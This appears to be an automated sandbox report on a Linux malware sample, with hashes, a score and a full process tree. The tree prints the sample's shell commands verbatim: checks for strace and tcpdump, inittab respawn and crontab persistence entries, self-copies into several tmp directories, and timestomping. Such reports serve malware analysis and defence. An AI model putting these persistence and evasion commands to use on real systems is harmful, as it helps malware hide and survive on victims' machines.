Analysis

  • max time kernel
    0s
  • max time network
    102s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • submitted
    24-03-2022 13:18

General

  • Target

    71a0b26e851ec57a16a0a8038f515ad6

  • Size

    1.9MB

  • MD5

    71a0b26e851ec57a16a0a8038f515ad6

  • SHA1

    5907e161bd31cba0cd932253fa1e3b7590450b1f

  • SHA256

    7c4e9e95a27147623ec5b3be81c76c131a0871d75f50b148b93e88ef6ee0b468

  • SHA512

    c8fb784b28b691ac255cd1391bdcdf84f35d306c86b082df6376cdbfcd832bbc538db6eda041e0d14b8d99a769a5de3f7e2a734145df2414d38cd0cf98120adc

Score
5/10

Malware Config

Signatures

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./71a0b26e851ec57a16a0a8038f515ad6
    ./71a0b26e851ec57a16a0a8038f515ad6
    1⤵
      PID:593
      • /bin/sh
        sh -c "pidof -x strace > /dev/null"
        2⤵
          PID:594
          • /bin/pidof
            pidof -x strace
            3⤵
              PID:595
          • /bin/sh
            sh -c "pidof -x tcpdump > /dev/null"
            2⤵
              PID:596
              • /bin/pidof
                pidof -x tcpdump
                3⤵
                  PID:597
              • /bin/sh
                sh -c "cat /etc/inittab | grep -v \"/tmp/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"
                2⤵
                  PID:600
                  • /bin/cat
                    cat /etc/inittab
                    3⤵
                      PID:603
                    • /bin/grep
                      grep -v /tmp/71a0b26e851ec57a16a0a8038f515ad6
                      3⤵
                        PID:606
                    • /bin/sh
                      sh -c "echo \"0:2345:respawn:/tmp/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"
                      2⤵
                        PID:609
                      • /bin/sh
                        sh -c "cat /etc/inittab2 > /etc/inittab"
                        2⤵
                          PID:612
                          • /bin/cat
                            cat /etc/inittab2
                            3⤵
                              PID:614
                          • /bin/sh
                            sh -c "rm -rf /etc/inittab2"
                            2⤵
                              PID:615
                              • /bin/rm
                                rm -rf /etc/inittab2
                                3⤵
                                  PID:616
                              • /bin/sh
                                sh -c "touch -acmr /bin/ls /etc/inittab"
                                2⤵
                                  PID:617
                                  • /usr/bin/touch
                                    touch -acmr /bin/ls /etc/inittab
                                    3⤵
                                      PID:618
                                • /bin/sh
                                  sh -c "crontab -l | grep /tmp/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"
                                  1⤵
                                    PID:601
                                    • /bin/grep
                                      grep /tmp/71a0b26e851ec57a16a0a8038f515ad6
                                      2⤵
                                        PID:607
                                      • /usr/bin/crontab
                                        crontab -l
                                        2⤵
                                          PID:604
                                        • /bin/grep
                                          grep -v "no cron"
                                          2⤵
                                            PID:608
                                          • /usr/bin/crontab
                                            crontab -
                                            2⤵
                                              PID:611
                                          • /bin/sh
                                            sh -c "crontab -r"
                                            1⤵
                                              PID:602
                                              • /usr/bin/crontab
                                                crontab -r
                                                2⤵
                                                  PID:605
                                              • /usr/bin/crontab
                                                crontab -l
                                                1⤵
                                                  PID:613
                                                • /bin/sh
                                                  sh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /dev/shm/71a0b26e851ec57a16a0a8038f515ad6"
                                                  1⤵
                                                    PID:622
                                                    • /bin/cp
                                                      cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /dev/shm/71a0b26e851ec57a16a0a8038f515ad6
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:627
                                                  • /bin/sh
                                                    sh -c "/bin/uname -n"
                                                    1⤵
                                                      PID:626
                                                      • /bin/uname
                                                        /bin/uname -n
                                                        2⤵
                                                          PID:628
                                                      • /bin/sh
                                                        sh -c "cat /etc/inittab | grep -v \"/dev/shm/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"
                                                        1⤵
                                                          PID:630
                                                          • /bin/cat
                                                            cat /etc/inittab
                                                            2⤵
                                                              PID:631
                                                            • /bin/grep
                                                              grep -v /dev/shm/71a0b26e851ec57a16a0a8038f515ad6
                                                              2⤵
                                                                PID:634
                                                            • /bin/sh
                                                              sh -c "crontab -l | grep /dev/shm/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"
                                                              1⤵
                                                                PID:632
                                                                • /usr/bin/crontab
                                                                  crontab -l
                                                                  2⤵
                                                                    PID:633
                                                                  • /bin/grep
                                                                    grep /dev/shm/71a0b26e851ec57a16a0a8038f515ad6
                                                                    2⤵
                                                                      PID:635
                                                                    • /bin/grep
                                                                      grep -v "no cron"
                                                                      2⤵
                                                                        PID:636
                                                                      • /usr/bin/crontab
                                                                        crontab -
                                                                        2⤵
                                                                          PID:639
                                                                      • /bin/sh
                                                                        sh -c "echo \"0:2345:respawn:/dev/shm/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"
                                                                        1⤵
                                                                          PID:637
                                                                        • /bin/sh
                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                          1⤵
                                                                            PID:640
                                                                            • /bin/cat
                                                                              cat /etc/inittab2
                                                                              2⤵
                                                                                PID:642
                                                                            • /usr/bin/crontab
                                                                              crontab -l
                                                                              1⤵
                                                                                PID:641
                                                                              • /bin/sh
                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                1⤵
                                                                                  PID:643
                                                                                  • /bin/rm
                                                                                    rm -rf /etc/inittab2
                                                                                    2⤵
                                                                                      PID:644
                                                                                  • /bin/sh
                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                    1⤵
                                                                                      PID:645
                                                                                      • /usr/bin/touch
                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                        2⤵
                                                                                          PID:646
                                                                                      • /bin/sh
                                                                                        sh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/tmp/71a0b26e851ec57a16a0a8038f515ad6"
                                                                                        1⤵
                                                                                          PID:647
                                                                                          • /bin/cp
                                                                                            cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/tmp/71a0b26e851ec57a16a0a8038f515ad6
                                                                                            2⤵
                                                                                            • Reads runtime system information
                                                                                            • Writes file to tmp directory
                                                                                            PID:648
                                                                                        • /bin/sh
                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/tmp/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"
                                                                                          1⤵
                                                                                            PID:650
                                                                                            • /bin/cat
                                                                                              cat /etc/inittab
                                                                                              2⤵
                                                                                                PID:651
                                                                                              • /bin/grep
                                                                                                grep -v /var/tmp/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                2⤵
                                                                                                  PID:653
                                                                                              • /bin/sh
                                                                                                sh -c "crontab -l | grep /var/tmp/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"
                                                                                                1⤵
                                                                                                  PID:652
                                                                                                  • /usr/bin/crontab
                                                                                                    crontab -l
                                                                                                    2⤵
                                                                                                      PID:654
                                                                                                    • /bin/grep
                                                                                                      grep /var/tmp/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                      2⤵
                                                                                                        PID:656
                                                                                                      • /bin/grep
                                                                                                        grep -v "no cron"
                                                                                                        2⤵
                                                                                                          PID:657
                                                                                                        • /usr/bin/crontab
                                                                                                          crontab -
                                                                                                          2⤵
                                                                                                            PID:661
                                                                                                        • /bin/sh
                                                                                                          sh -c "echo \"0:2345:respawn:/var/tmp/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"
                                                                                                          1⤵
                                                                                                            PID:655
                                                                                                          • /bin/sh
                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                            1⤵
                                                                                                              PID:658
                                                                                                              • /bin/cat
                                                                                                                cat /etc/inittab2
                                                                                                                2⤵
                                                                                                                  PID:659
                                                                                                              • /bin/sh
                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                1⤵
                                                                                                                  PID:662
                                                                                                                  • /bin/rm
                                                                                                                    rm -rf /etc/inittab2
                                                                                                                    2⤵
                                                                                                                      PID:664
                                                                                                                  • /usr/bin/crontab
                                                                                                                    crontab -l
                                                                                                                    1⤵
                                                                                                                      PID:663
                                                                                                                    • /bin/sh
                                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                      1⤵
                                                                                                                        PID:665
                                                                                                                        • /usr/bin/touch
                                                                                                                          touch -acmr /bin/ls /etc/inittab
                                                                                                                          2⤵
                                                                                                                            PID:666
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/lock/71a0b26e851ec57a16a0a8038f515ad6"
                                                                                                                          1⤵
                                                                                                                            PID:667
                                                                                                                            • /bin/cp
                                                                                                                              cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/lock/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                              2⤵
                                                                                                                              • Reads runtime system information
                                                                                                                              • Writes file to tmp directory
                                                                                                                              PID:668
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab | grep -v \"/var/lock/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"
                                                                                                                            1⤵
                                                                                                                              PID:670
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab
                                                                                                                                2⤵
                                                                                                                                  PID:671
                                                                                                                                • /bin/grep
                                                                                                                                  grep -v /var/lock/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                                  2⤵
                                                                                                                                    PID:673
                                                                                                                                • /bin/sh
                                                                                                                                  sh -c "crontab -l | grep /var/lock/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                  1⤵
                                                                                                                                    PID:672
                                                                                                                                    • /usr/bin/crontab
                                                                                                                                      crontab -l
                                                                                                                                      2⤵
                                                                                                                                        PID:674
                                                                                                                                      • /bin/grep
                                                                                                                                        grep /var/lock/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                                        2⤵
                                                                                                                                          PID:675
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v "no cron"
                                                                                                                                          2⤵
                                                                                                                                            PID:676
                                                                                                                                          • /usr/bin/crontab
                                                                                                                                            crontab -
                                                                                                                                            2⤵
                                                                                                                                              PID:680
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "echo \"0:2345:respawn:/var/lock/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"
                                                                                                                                            1⤵
                                                                                                                                              PID:677
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                              1⤵
                                                                                                                                                PID:678
                                                                                                                                                • /bin/cat
                                                                                                                                                  cat /etc/inittab2
                                                                                                                                                  2⤵
                                                                                                                                                    PID:681
                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                  crontab -l
                                                                                                                                                  1⤵
                                                                                                                                                    PID:682
                                                                                                                                                  • /bin/sh
                                                                                                                                                    sh -c "rm -rf /etc/inittab2"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:683
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -rf /etc/inittab2
                                                                                                                                                        2⤵
                                                                                                                                                          PID:684
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                        1⤵
                                                                                                                                                          PID:685
                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                            touch -acmr /bin/ls /etc/inittab
                                                                                                                                                            2⤵
                                                                                                                                                              PID:686
                                                                                                                                                          • /bin/sh
                                                                                                                                                            sh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/run/71a0b26e851ec57a16a0a8038f515ad6"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:687
                                                                                                                                                              • /bin/cp
                                                                                                                                                                cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/run/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                                                                2⤵
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                • Writes file to tmp directory
                                                                                                                                                                PID:688
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c "cat /etc/inittab | grep -v \"/var/run/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"
                                                                                                                                                              1⤵
                                                                                                                                                                PID:690
                                                                                                                                                                • /bin/cat
                                                                                                                                                                  cat /etc/inittab
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:691
                                                                                                                                                                  • /bin/grep
                                                                                                                                                                    grep -v /var/run/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:694
                                                                                                                                                                  • /bin/sh
                                                                                                                                                                    sh -c "crontab -l | grep /var/run/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:692
                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                        crontab -l
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:693
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep /var/run/71a0b26e851ec57a16a0a8038f515ad6
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:695
                                                                                                                                                                          • /bin/grep
                                                                                                                                                                            grep -v "no cron"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:696
                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                              crontab -
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:700
                                                                                                                                                                            • /bin/sh
                                                                                                                                                                              sh -c "echo \"0:2345:respawn:/var/run/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:697
                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:698
                                                                                                                                                                                  • /bin/cat
                                                                                                                                                                                    cat /etc/inittab2
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:701
                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                    crontab -l
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:702
                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                      sh -c "rm -rf /etc/inittab2"
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:703
                                                                                                                                                                                        • /bin/rm
                                                                                                                                                                                          rm -rf /etc/inittab2
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:704
                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                          sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:705
                                                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                                                              touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:706

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